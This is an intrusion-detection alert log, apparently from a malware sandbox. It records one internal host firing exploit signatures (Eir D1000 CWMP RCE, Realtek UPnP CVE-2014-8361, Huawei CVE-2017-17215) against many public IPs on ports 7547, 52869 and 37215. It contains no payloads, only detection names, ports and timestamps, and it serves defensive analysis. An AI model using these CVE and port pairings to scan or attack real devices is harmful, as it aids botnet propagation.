ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.140.76.86

Timestamp:	04/15/24-08:52:21.132337
SID:	2023548
Source Port:	48272
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.103.251.25

Timestamp:	04/15/24-08:52:58.801787
SID:	2023548
Source Port:	35406
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.159.142.87

Timestamp:	04/15/24-08:52:20.773907
SID:	2023548
Source Port:	42416
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.249.156.218

Timestamp:	04/15/24-08:52:22.984376
SID:	2023548
Source Port:	46740
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.236.113.223

Timestamp:	04/15/24-08:52:44.543195
SID:	2023548
Source Port:	52694
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.255.65.96

Timestamp:	04/15/24-08:52:57.921045
SID:	2023548
Source Port:	51202
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 65.31.156.182

Timestamp:	04/15/24-08:53:01.929172
SID:	2023548
Source Port:	53784
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.108.31.16

Timestamp:	04/15/24-08:52:57.782014
SID:	2023548
Source Port:	39570
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.231.135.246

Timestamp:	04/15/24-08:53:56.072702
SID:	2023548
Source Port:	53478
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.235.238.192

Timestamp:	04/15/24-08:52:13.229640
SID:	2023548
Source Port:	34838
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.29.33.22

Timestamp:	04/15/24-08:52:31.962858
SID:	2023548
Source Port:	47116
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.212.46.35

Timestamp:	04/15/24-08:53:08.954411
SID:	2023548
Source Port:	44800
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.180.182.81

Timestamp:	04/15/24-08:52:28.066033
SID:	2023548
Source Port:	41854
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 146.148.188.107

Timestamp:	04/15/24-08:52:46.515193
SID:	2027339
Source Port:	55110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.193.162.10

Timestamp:	04/15/24-08:53:32.703336
SID:	2023548
Source Port:	42658
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.106.91.221

Timestamp:	04/15/24-08:53:22.844805
SID:	2023548
Source Port:	49072
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 62.96.43.68

Timestamp:	04/15/24-08:52:29.482888
SID:	2025576
Source Port:	38238
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.221.55.205

Timestamp:	04/15/24-08:52:45.638675
SID:	2023548
Source Port:	36816
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.53.13.168

Timestamp:	04/15/24-08:52:55.625918
SID:	2023548
Source Port:	56946
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.232.34.170

Timestamp:	04/15/24-08:52:55.928863
SID:	2023548
Source Port:	43190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.195.254.132

Timestamp:	04/15/24-08:52:30.247631
SID:	2027339
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.152.208.111

Timestamp:	04/15/24-08:52:41.015563
SID:	2023548
Source Port:	46326
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 133.114.90.23

Timestamp:	04/15/24-08:52:39.757171
SID:	2023548
Source Port:	60640
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.135.67.124

Timestamp:	04/15/24-08:52:16.765083
SID:	2023548
Source Port:	59992
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.17.129.113

Timestamp:	04/15/24-08:53:00.531220
SID:	2023548
Source Port:	45602
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.166.160.29

Timestamp:	04/15/24-08:53:16.950546
SID:	2025576
Source Port:	51950
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.136.192.98

Timestamp:	04/15/24-08:52:41.892844
SID:	2023548
Source Port:	58034
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.208.224.85

Timestamp:	04/15/24-08:53:56.730860
SID:	2023548
Source Port:	52176
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.210.44.124

Timestamp:	04/15/24-08:52:30.836004
SID:	2023548
Source Port:	48574
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 198.82.152.65

Timestamp:	04/15/24-08:53:41.671416
SID:	2025576
Source Port:	33084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 192.3.199.100

Timestamp:	04/15/24-08:52:39.631235
SID:	2025576
Source Port:	43790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.200.108.84

Timestamp:	04/15/24-08:53:58.782682
SID:	2023548
Source Port:	34380
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 46.242.211.55

Timestamp:	04/15/24-08:53:16.975797
SID:	2025576
Source Port:	38574
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.121.73.158

Timestamp:	04/15/24-08:53:20.188641
SID:	2027339
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.218.231.169

Timestamp:	04/15/24-08:52:44.720930
SID:	2023548
Source Port:	41332
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 138.201.206.179

Timestamp:	04/15/24-08:53:27.228963
SID:	2025576
Source Port:	49058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.149.92.77

Timestamp:	04/15/24-08:52:13.617441
SID:	2027339
Source Port:	38724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 101.167.72.124

Timestamp:	04/15/24-08:52:27.281251
SID:	2023548
Source Port:	35706
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.5.18

Timestamp:	04/15/24-08:53:33.109332
SID:	2023548
Source Port:	43118
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.80.86.229

Timestamp:	04/15/24-08:52:57.735093
SID:	2023548
Source Port:	51568
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 64.59.106.89

Timestamp:	04/15/24-08:53:21.705697
SID:	2025576
Source Port:	42842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.97.77.152

Timestamp:	04/15/24-08:53:32.073613
SID:	2023548
Source Port:	44232
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.66.209.130

Timestamp:	04/15/24-08:52:53.498406
SID:	2023548
Source Port:	49638
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 192.180.170.154

Timestamp:	04/15/24-08:53:49.021376
SID:	2023548
Source Port:	51802
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 194.195.254.132

Timestamp:	04/15/24-08:52:29.939922
SID:	2025132
Source Port:	53148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.202.126.64

Timestamp:	04/15/24-08:52:26.600381
SID:	2023548
Source Port:	58440
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 169.255.31.244

Timestamp:	04/15/24-08:53:21.727049
SID:	2025576
Source Port:	36448
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.124.179.18

Timestamp:	04/15/24-08:53:59.381608
SID:	2023548
Source Port:	60246
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.66.209.130

Timestamp:	04/15/24-08:52:52.097974
SID:	2023548
Source Port:	49618
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 160.141.49.1

Timestamp:	04/15/24-08:52:30.152668
SID:	2025132
Source Port:	55284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 147.192.6.14

Timestamp:	04/15/24-08:52:40.432346
SID:	2023548
Source Port:	51374
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.24.152

Timestamp:	04/15/24-08:52:56.119199
SID:	2829579
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.151.234.184

Timestamp:	04/15/24-08:53:56.784443
SID:	2023548
Source Port:	59570
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.120.242.86

Timestamp:	04/15/24-08:52:51.008087
SID:	2023548
Source Port:	47130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.45.162.209

Timestamp:	04/15/24-08:53:05.480899
SID:	2023548
Source Port:	57126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 200.114.231.19

Timestamp:	04/15/24-08:52:34.602542
SID:	2023548
Source Port:	56496
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.225.254.112

Timestamp:	04/15/24-08:52:40.762749
SID:	2023548
Source Port:	43242
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.250.240.184

Timestamp:	04/15/24-08:53:28.722975
SID:	2025132
Source Port:	50240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.237.109.14

Timestamp:	04/15/24-08:53:42.982457
SID:	2023548
Source Port:	33496
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.177.99.207

Timestamp:	04/15/24-08:53:10.760572
SID:	2023548
Source Port:	52470
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 39.136.154.133

Timestamp:	04/15/24-08:53:29.332108
SID:	2025576
Source Port:	45480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 27.236.80.3

Timestamp:	04/15/24-08:53:29.181744
SID:	2025576
Source Port:	53782
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.38.92.211

Timestamp:	04/15/24-08:53:24.872718
SID:	2023548
Source Port:	45526
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 210.154.238.159

Timestamp:	04/15/24-08:53:41.716804
SID:	2025576
Source Port:	59642
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.159.93.250

Timestamp:	04/15/24-08:52:13.930680
SID:	2023548
Source Port:	33948
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 163.152.208.183

Timestamp:	04/15/24-08:53:57.136149
SID:	2025576
Source Port:	39490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.106.53.141

Timestamp:	04/15/24-08:52:44.384482
SID:	2023548
Source Port:	34980
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.101.0.167

Timestamp:	04/15/24-08:52:52.222601
SID:	2023548
Source Port:	33104
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.210.44.124

Timestamp:	04/15/24-08:52:31.164452
SID:	2023548
Source Port:	48586
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.121.129.98

Timestamp:	04/15/24-08:52:31.312832
SID:	2027339
Source Port:	36216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.101.0.167

Timestamp:	04/15/24-08:52:52.706838
SID:	2023548
Source Port:	33124
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.63.110

Timestamp:	04/15/24-08:53:53.926781
SID:	2023548
Source Port:	42238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 218.157.238.106

Timestamp:	04/15/24-08:53:30.185643
SID:	2025576
Source Port:	44776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.38.86.102

Timestamp:	04/15/24-08:53:34.950113
SID:	2025576
Source Port:	43630
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.0.63.35

Timestamp:	04/15/24-08:53:09.130544
SID:	2023548
Source Port:	45558
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.55.52.131

Timestamp:	04/15/24-08:52:51.201031
SID:	2023548
Source Port:	35316
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.56.179.111

Timestamp:	04/15/24-08:53:25.173562
SID:	2023548
Source Port:	34296
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.188.193.170

Timestamp:	04/15/24-08:53:01.615874
SID:	2023548
Source Port:	54320
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.163.218.37

Timestamp:	04/15/24-08:53:05.190011
SID:	2023548
Source Port:	36004
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.147.189.161

Timestamp:	04/15/24-08:53:06.799742
SID:	2025576
Source Port:	40750
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 94.121.129.98

Timestamp:	04/15/24-08:52:31.312832
SID:	2831300
Source Port:	36216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 44.214.104.226

Timestamp:	04/15/24-08:53:42.737113
SID:	2025576
Source Port:	43344
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 19.12.120.118

Timestamp:	04/15/24-08:52:44.445418
SID:	2025576
Source Port:	55182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 176.100.56.10

Timestamp:	04/15/24-08:53:15.246502
SID:	2025576
Source Port:	40062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.161.54.248

Timestamp:	04/15/24-08:52:52.458391
SID:	2025576
Source Port:	48076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.64.234.192

Timestamp:	04/15/24-08:52:15.887453
SID:	2023548
Source Port:	48228
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.140.19.46

Timestamp:	04/15/24-08:53:21.882135
SID:	2023548
Source Port:	59810
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.29.129.101

Timestamp:	04/15/24-08:52:26.389735
SID:	2023548
Source Port:	47628
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.141.49.1

Timestamp:	04/15/24-08:52:30.152668
SID:	2027339
Source Port:	55284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.96.105.173

Timestamp:	04/15/24-08:53:08.213639
SID:	2023548
Source Port:	38672
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 49.207.178.58

Timestamp:	04/15/24-08:53:49.923281
SID:	2023548
Source Port:	43918
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.141.62.54

Timestamp:	04/15/24-08:52:15.620315
SID:	2025576
Source Port:	45602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.110.101.224

Timestamp:	04/15/24-08:52:19.685918
SID:	2023548
Source Port:	34452
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.157.67.30

Timestamp:	04/15/24-08:53:32.348509
SID:	2023548
Source Port:	42208
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.159.93.250

Timestamp:	04/15/24-08:52:13.621380
SID:	2023548
Source Port:	33880
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 4.158.26.226

Timestamp:	04/15/24-08:53:51.009363
SID:	2025576
Source Port:	55124
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 69.192.114.253

Timestamp:	04/15/24-08:52:53.691488
SID:	2025576
Source Port:	55196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.42.92.137

Timestamp:	04/15/24-08:53:32.681658
SID:	2023548
Source Port:	58252
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.251.36.209

Timestamp:	04/15/24-08:52:13.721900
SID:	2023548
Source Port:	36814
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.120.237.67

Timestamp:	04/15/24-08:53:16.647213
SID:	2025576
Source Port:	37452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.95.90.135

Timestamp:	04/15/24-08:52:21.233107
SID:	2023548
Source Port:	52548
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 178.135.97.217

Timestamp:	04/15/24-08:53:32.848565
SID:	2831300
Source Port:	44678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.215.18.251

Timestamp:	04/15/24-08:53:18.293037
SID:	2023548
Source Port:	36618
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 184.176.27.110

Timestamp:	04/15/24-08:53:46.465418
SID:	2023548
Source Port:	56014
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 218.95.39.221

Timestamp:	04/15/24-08:53:03.112881
SID:	2025576
Source Port:	56078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.243.85.101

Timestamp:	04/15/24-08:53:49.769767
SID:	2023548
Source Port:	55104
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.73.121.175

Timestamp:	04/15/24-08:52:41.878266
SID:	2023548
Source Port:	54320
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 49.232.217.237

Timestamp:	04/15/24-08:53:28.886842
SID:	2025576
Source Port:	39054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 120.88.138.155
